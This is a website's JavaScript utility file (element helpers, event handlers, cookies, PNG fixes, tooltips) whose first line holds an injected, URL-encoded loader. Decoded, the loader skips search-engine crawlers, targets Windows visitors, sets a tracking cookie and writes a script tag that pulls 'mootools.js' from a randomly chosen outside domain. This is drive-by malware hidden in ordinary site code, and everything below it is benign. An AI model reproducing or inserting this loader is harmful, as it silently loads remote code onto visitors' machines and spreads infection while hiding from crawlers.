var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%64%63%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%20%76%61%72%20%63%6E%61%6D%65%20%3D%20%27%77%61%74%63%68%74%69%6D%65%27%3B%20%76%61%72%20%77%6E%20%3D%20%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%3B%20%76%61%72%20%73%74%72%69%20%3D%20%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%3B%20%76%61%72%20%73%74%72%4F%53%20%3D%20%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%63%2E%69%6E%64%65%78%4F%66%28%63%6E%61%6D%65%29%3D%3D%2D%31%20%26%26%20%21%77%6E%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%73%74%72%69%29%20%26%26%20%73%74%72%4F%53%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%27%77%69%6E%27%29%20%21%3D%20%2D%31%29%20%7B%20%76%61%72%20%64%6F%6D%73%20%3D%20%5B%27%65%64%69%73%6F%6E%73%6E%69%67%68%74%63%6C%75%62%2E%63%6F%6D%27%2C%27%65%6D%61%70%69%73%2E%6F%72%67%27%2C%27%69%64%65%61%63%6F%72%65%70%6F%72%74%61%6C%2E%63%6F%6D%27%2C%27%6B%61%72%65%6E%65%67%72%65%6E%2E%63%6F%6D%27%5D%3B%20%76%61%72%20%70%72%65%66%66%73%20%3D%20%5B%27%61%71%75%61%2E%27%2C%27%61%7A%75%72%65%2E%27%2C%27%62%6C%61%63%6B%2E%27%2C%27%62%6C%75%65%2E%27%2C%27%62%72%6F%77%6E%2E%27%2C%27%67%6F%6C%64%2E%27%2C%27%67%72%61%79%2E%27%2C%27%67%72%65%65%6E%2E%27%2C%27%6C%69%6D%65%2E%27%2C%27%6E%61%76%79%2E%27%2C%27%6F%6C%69%76%65%2E%27%2C%27%70%6C%75%6D%2E%27%2C%27%72%65%64%2E%27%2C%27%73%6E%6F%77%2E%27%2C%27%77%68%69%74%65%2E%27%2C%27%79%65%6C%6C%6F%77%2E%27%5D%3B%20%76%61%72%20%64%6F%6D%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%6F%6D%73%2E%6C%65%6E%67%74%68%29%3B%20%76%61%72%20%70%72%65%66%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%70%72%65%66%66%73%2E%6C%65%6E%67%74%68%29%3B%20%64%74%3D%6E%65%77%20%44%61%74%65%28%29%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%20%2B%20%37%2A%33%36%30%30%2A%33%36%30%30%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%63%6E%61%6D%65%2B%27%3D%27%2B%65%73%63%61%70%65%28%63%6E%61%6D%65%29%2B%27%3B%65%78%70%69%72%65%73%3D%27%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%27%3B%70%61%74%68%3D%2F%27%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%70%72%65%66%66%73%5B%70%72%65%66%5D%2B%64%6F%6D%73%5B%64%6F%6D%5D%2B%27%2F%64%61%74%61%2F%6D%6F%6F%74%6F%6F%6C%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%3B%20%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;/* ---------------------------
   ---- ELEMENT FUNCTIONS ----
   --------------------------- */

/* Quick Get Element By ID */
function $(obj) {
	var to_get = document.getElementById(obj);
	if( to_get )
		return to_get;
}

/* Get Elements By ClassName */
function getElementsByClassName(oElm, strTagName, strClassName){
    var arrElements = (strTagName == "*" && document.all)? document.all : oElm.getElementsByTagName(strTagName);
    var arrReturnElements = new Array();
    strClassName = strClassName.replace(/\-/g, "\\-");
    var oRegExp = new RegExp("(^|\\s)" + strClassName + "(\\s|$)");
    for(var i = 0, oElement; oElement = arrElements[i]; i++){
        if(oRegExp.test(oElement.className))
            arrReturnElements.push(oElement);
    }
    return (arrReturnElements)
}

/* Add Class Name to Element */
function addClassName (elem, className) {
    removeClassName (elem, className);
    elem.className = (elem.className + " " + className).trim();
}

/* Remove Class Name from Element */
function removeClassName (elem, className) {
    elem.className = elem.className.replace(className, "").trim();
}

/* Check if Element Contains Class Name */
function hasClassName (elem, className ) {
	if( elem.className )
		elem.className.indexOf(className) >= 0 ? has = true : has = false;
	else
		has = false;
	return has;
}


/* Whitespace Checker for DOM */
var wspace = {
	testF : function(elem){
		var wspace = /[^\t\n\r ]/
		if(!wspace.test(elem.data)){ return elem.nextSibling; }else{ return elem; }
	},
	testB : function(elem){
		var wspace = /[^\t\n\r ]/
		if(!wspace.test(elem.data)){ return elem.previousSibling; }else{ return elem; }
	}
}



/* ---------------------------
   ----- EVENT FUNCTIONS -----
   --------------------------- */

/* Add Event Listeners */
function addEvent( obj, type, fn ) {
	if (obj.addEventListener) {
		obj.addEventListener( type, fn, false );
		EventCache.add(obj, type, fn);
	}
	else if (obj.attachEvent) {
		obj["e"+type+fn] = fn;
		obj[type+fn] = function() { obj["e"+type+fn]( window.event ); }
		obj.attachEvent( "on"+type, obj[type+fn] );
		EventCache.add(obj, type, fn);
	}
	else {
		obj["on"+type] = obj["e"+type+fn];
	}
}
var EventCache = function(){
	var listEvents = [];
	return {
		listEvents : listEvents,
		add : function(node, sEventName, fHandler){
			listEvents.push(arguments);
		},
		flush : function(){
			var i, item;
			for(i = listEvents.length - 1; i >= 0; i = i - 1){
				item = listEvents[i];
				if(item[0].removeEventListener){
					item[0].removeEventListener(item[1], item[2], item[3]);
				};
				if(item[1].substring(0, 2) != "on"){
					item[1] = "on" + item[1];
				};
				if(item[0].detachEvent){
					item[0].detachEvent(item[1], item[2]);
				};
				item[0][item[1]] = null;
			};
		}
	};
}();

/* Remove Event Listeners */
function removeEvent( obj, type, fn ) {
	if ( obj.detachEvent ) {
		obj.detachEvent( 'on'+type, obj[type+fn] );
		obj[type+fn] = null;
	} else
		obj.removeEventListener( type, fn, false );
} 
addEvent(window,'unload',EventCache.flush);



/* -------------------------------
   ----- PROTOTYPE FUNCTIONS -----
   ------------------------------- */

/* Trim String Whitespace */
String.prototype.trim = function() {
    return this.replace( /^\s+|\s+$/, "" );
}

/* Merge Two Arrays */
Array.prototype.assCon = function(theArray){
  var retArr = new Array();
  for(var elem in this){
    if(isNaN(elem) && elem!="assCon"){
      retArr[elem] = this[elem];
    }
  }
  for(var elem in theArray){
    if(isNaN(elem) && elem!="assCon"){
      retArr[elem] = theArray[elem];
    }
  }
  return retArr;
}

/* Check if Item is in Array */
Array.prototype.inArray = function(value) {
	for (var i=0; i < this.length; i++) {
		if (this[i] === value)
			return true;
	}
	return false;
};

/* Convert HTML Collections to Actual Arrays */
function $c(array){
	var nArray = [];
	for (var i=0;i<array.length;i++) nArray.push(array[i]);
	return nArray;
}

/* Step through Array */
Array.prototype.iterate = function(func){
	for(var i = 0, e; e = this[i]; i++ ) func(e, i);
}
if (!Array.prototype.each) Array.prototype.each = Array.prototype.iterate;



/* -------------------------------
   ----- COSMETIC FUNCTIONS ------
   ------------------------------- */

/* Repair PNG Files for IE */
function correctPNG() {
	for(var i=0; i<document.images.length; i++) {
		var img = document.images[i]
		var imgName = img.src.toUpperCase()
		if (imgName.substring(imgName.length-3, imgName.length) == "PNG") {
			var imgID = (img.id) ? "id='" + img.id + "' " : ""
			var imgClass = (img.className) ? "class='" + img.className + "' " : ""
			var imgTitle = (img.title) ? "title='" + img.title + "' " : "title='" + img.alt + "' "
			var imgStyle = "display:inline-block;" + img.style.cssText 
			if (img.align == "left") imgStyle = "float:left;" + imgStyle
			if (img.align == "right") imgStyle = "float:right;" + imgStyle
			if (img.parentElement.href) imgStyle = "cursor:hand;" + imgStyle		
			var strNewHTML = "<span " + imgID + imgClass + imgTitle
			+ " style=\"" + "width:" + img.width + "px; height:" + img.height + "px;" + imgStyle + ";"
			+ "filter:progid:DXImageTransform.Microsoft.AlphaImageLoader"
			+ "(src=\'" + img.src + "\', sizingMethod='image');\"></span>" 
			img.outerHTML = strNewHTML
			i = i-1
		}
	}
}


/*
Sweet Titles (c) Creative Commons 2005
http://creativecommons.org/licenses/by-sa/2.5/
Author: Dustin Diaz | http://www.dustindiaz.com
*/
var sweetTitles = { 
	xCord : 0,				// @Number: x pixel value of current cursor position
	yCord : 0,				// @Number: y pixel value of current cursor position
	tipElements : ['a','abbr','acronym'],	// @Array: Allowable elements that can have the toolTip
	obj : Object,			// @Element: That of which you're hovering over
	tip : Object,			// @Element: The actual toolTip itself
	active : 0,				// @Number: 0: Not Active || 1: Active
	init : function() {
		if ( !document.getElementById ||
			!document.createElement ||
			!document.getElementsByTagName ) {
			return;
		}
		var i,j;
		this.tip = document.createElement('div');
		this.tip.id = 'toolTip';
		document.getElementsByTagName('body')[0].appendChild(this.tip);
		this.tip.style.top = '0';
		this.tip.style.visibility = 'hidden';
		var tipLen = this.tipElements.length;
		for ( i=0; i<tipLen; i++ ) {
			var current = document.getElementsByTagName(this.tipElements[i]);
			var curLen = current.length;
			for ( j=0; j<curLen; j++ ) {
				if( current[j].title ) {
					addEvent(current[j],'mouseover',this.tipOver);
					addEvent(current[j],'mouseout',this.tipOut);
					current[j].setAttribute('tip',current[j].title);
					current[j].removeAttribute('title');
				}
			}
		}
	},
	updateXY : function(e) {
		if ( document.captureEvents ) {
			sweetTitles.xCord = e.pageX;
			sweetTitles.yCord = e.pageY;
		} else if ( window.event.clientX ) {
			sweetTitles.xCord = window.event.clientX+document.documentElement.scrollLeft;
			sweetTitles.yCord = window.event.clientY+document.documentElement.scrollTop;
		}
	},
	tipOut: function() {
		if ( window.tID ) {
			clearTimeout(tID);
		}
		if ( window.opacityID ) {
			clearTimeout(opacityID);
		}
		sweetTitles.tip.style.visibility = 'hidden';
	},
	checkNode : function() {
		var trueObj = this.obj;
		if ( this.tipElements.inArray(trueObj.nodeName.toLowerCase()) ) {
			return trueObj;
		} else {
			return trueObj.parentNode;
		}
	},
	tipOver : function(e) {
		sweetTitles.obj = this;
		tID = window.setTimeout("sweetTitles.tipShow()",500);
		sweetTitles.updateXY(e);
	},
	tipShow : function() {		
		var scrX = Number(this.xCord);
		var scrY = Number(this.yCord);
		var tp = parseInt(scrY+15);
		var lt = parseInt(scrX+10);
		var anch = this.checkNode();
		var addy = '';
		var access = '';
		if ( anch.nodeName.toLowerCase() == 'a' ) {
			var host = location.hostname.toString();
			var pattern = new RegExp("(http://?)"+host,"gi");
			var fullPath = anch.href.toString();
			var path = fullPath.replace(pattern,'');
			addy = (path.length > 25 ? path.toString().substring(0,25)+"..." : path);
			var access = ( anch.accessKey ? " ["+anch.accessKey+"]" : "" );
		} else {
			addy = anch.firstChild.nodeValue;
		}
		var cat = anch.getAttribute('rel');
//		this.tip.innerHTML = "<p>"+anch.getAttribute('tip')+"<em>"+access+addy+"</em></p>";
		this.tip.innerHTML = "<p>"+anch.getAttribute('tip');
		if( cat )
			this.tip.innerHTML += "<b>" + cat + "</b>";
		this.tip.innerHTML += "</p>";
		
		if ( parseInt(document.documentElement.clientWidth+document.documentElement.scrollLeft) < parseInt(this.tip.offsetWidth+lt) ) {
			this.tip.style.left = parseInt(lt-(this.tip.offsetWidth+10))+'px';
		} else {
			this.tip.style.left = lt+'px';
		}
		if ( parseInt(document.documentElement.clientHeight+document.documentElement.scrollTop) < parseInt(this.tip.offsetHeight+tp) ) {
			this.tip.style.top = parseInt(tp-(this.tip.offsetHeight+10))+'px';
		} else {
			this.tip.style.top = tp+'px';
		}
		this.tip.style.visibility = 'visible';
		this.tip.style.opacity = '.1';
		this.tipFade(10);
	},
	tipFade: function(opac) {
		var passed = parseInt(opac);
		var newOpac = parseInt(passed+10);
		if ( newOpac < 80 ) {
			this.tip.style.opacity = '.'+newOpac;
			this.tip.style.filter = "alpha(opacity:"+newOpac+")";
			opacityID = window.setTimeout("sweetTitles.tipFade('"+newOpac+"')",20);
		}
		else { 
			this.tip.style.opacity = '.90';
			this.tip.style.filter = "alpha(opacity:90)";
		}
	}
};
function pageLoader() {
	sweetTitles.init();
}

/* ---------------------------
   --- USABILITY FUNCTIONS ---
   --------------------------- */

/* Deactivate "#" Dummy Links */
function linkBreaker() {
	for( var i = 0, a; a = document.getElementsByTagName('a')[i]; i++ ) {
		var to_go = a.getAttribute('href');
		switch(to_go) {
			case "#nogo" :
			case "#" :
				a.onclick = function(){ return false; }; break;
		}
	}
}

/* Open Links (with class="out") in a New Window */
function outLinks(){
	var outs = getElementsByClassName(document,'a','out');
	for( var i = 0, out; out = outs[i]; i++ ) {
		out.target = "_blank";
	}
}

/* Smooth Scroll Back to Top */
function backToTop() {
    var x1 = x2 = x3 = 0;
    var y1 = y2 = y3 = 0;

    if (document.documentElement) {
        x1 = document.documentElement.scrollLeft || 0;
        y1 = document.documentElement.scrollTop || 0;
    }

    if (document.body) {
        x2 = document.body.scrollLeft || 0;
        y2 = document.body.scrollTop || 0;
    }

    x3 = window.scrollX || 0;
    y3 = window.scrollY || 0;

    var x = Math.max(x1, Math.max(x2, x3));
    var y = Math.max(y1, Math.max(y2, y3));

    window.scrollTo(Math.floor(x / 2), Math.floor(y / 2));

    if (x > 0 || y > 0)
        window.setTimeout("backToTop()", 25);
}


/* Go To URL */
function goTo(url) {
	window.location.href = url;
}

/* Manage Cookies */
var cookies = {
	set : function(name, value, expires, path, domain, secure ) {
		var today = new Date();
		today.setTime( today.getTime() );
		if ( expires )
			expires = expires * 1000 * 60 * 60 * 24;
		var expires_date = new Date( today.getTime() + (expires) );
		document.cookie = name+'='+escape( value ) +
			( ( expires ) ? ';expires='+expires_date.toGMTString() : '' ) + //expires.toGMTString()
			( ( path ) ? ';path=' + path : '' ) +
			( ( domain ) ? ';domain=' + domain : '' ) +
			( ( secure ) ? ';secure' : '' );
	},
	get : function(name) {
		var start = document.cookie.indexOf( name + "=" );
		var len = start + name.length + 1;
		if ( ( !start ) && ( name != document.cookie.substring( 0, name.length ) ) ) {
			return null;
		}
		if ( start == -1 ) return null;
		var end = document.cookie.indexOf( ';', len );
		if ( end == -1 ) end = document.cookie.length;
		return unescape( document.cookie.substring( len, end ) );
	},
	remove : function(name, path, domain) {
		if ( cookies.get( name ) ) document.cookie = name + '=' +
			( ( path ) ? ';path=' + path : '') +
			( ( domain ) ? ';domain=' + domain : '' ) +
			';expires=Thu, 01-Jan-1970 00:00:01 GMT';
	}
}

/* Show Continued Lists from "More" Link */
function show_more(num) {
	var more = 'more' + num, more_link = 'morelink' + num;
	new Effect.toggle(more, 'slide', {duration:.3});
	if( $(more).style.display == 'none' )
		$(more_link).innerHTML = 'less <img src="images/arrow_up.gif" alt="" />';
	else
		$(more_link).innerHTML = 'more <img src="images/arrow_down.gif" alt="" />';
}

/* Toggle for Bookmarks Slider */
var bookmarks = {
	marks : 0,
	init : function() {
		this.marks = $('bookmarks');
		if( navigator.userAgent.indexOf('AppleWebKit') < 0 )
			this.marks.style.display = 'none';
		else
			this.marks.style.visibility = 'hidden';
	},
	toggle : function() {
		if( navigator.userAgent.indexOf('AppleWebKit') < 0 )
			new Effect.toggle(bookmarks.marks,'slide',{ duration: .2});
		else
			bookmarks.toggle_safari(bookmarks.marks);
	},
	toggle_safari : function(e) {
		if( e.style.visibility == 'hidden' )
			e.style.visibility = 'visible';
		else
			e.style.visibility = 'hidden';
	}
}


/* Set Cookie with Time Visited */
function last_visit(){
	var now = new Date();
	now = now.getTime();
	cookies.set('last_visit',now,5);
}

/* Set Cookie with Updated Item Order */
var serials = function(){
	var list = Sortable.serialize('container') + '';
	var splits = list.split("container[]=");
	var numbers = new Array();
	splits.each(
		function(splitted){
			if( splitted.length > 0)
				numbers.push( splitted.replace("&","") );
				
		} 
	);
	cookies.set('listorder',numbers,7);
}



/* ---------------------------
   ------ LOAD FUNCTIONS -----
   --------------------------- */
addEvent(window,'load',function(){ bookmarks.init()} );	// Bookmarks slider
if( navigator.userAgent.indexOf('MSIE') > 0 )
	addEvent(window,'load',correctPNG);		// Fix PNGs in IE
addEvent(window,'load',outLinks);			// Open Links in a New Window
addEvent(window,'load',pageLoader);			// Load NiceTitles
addEvent(window,'load',last_visit);			// Set Last Visit Cookie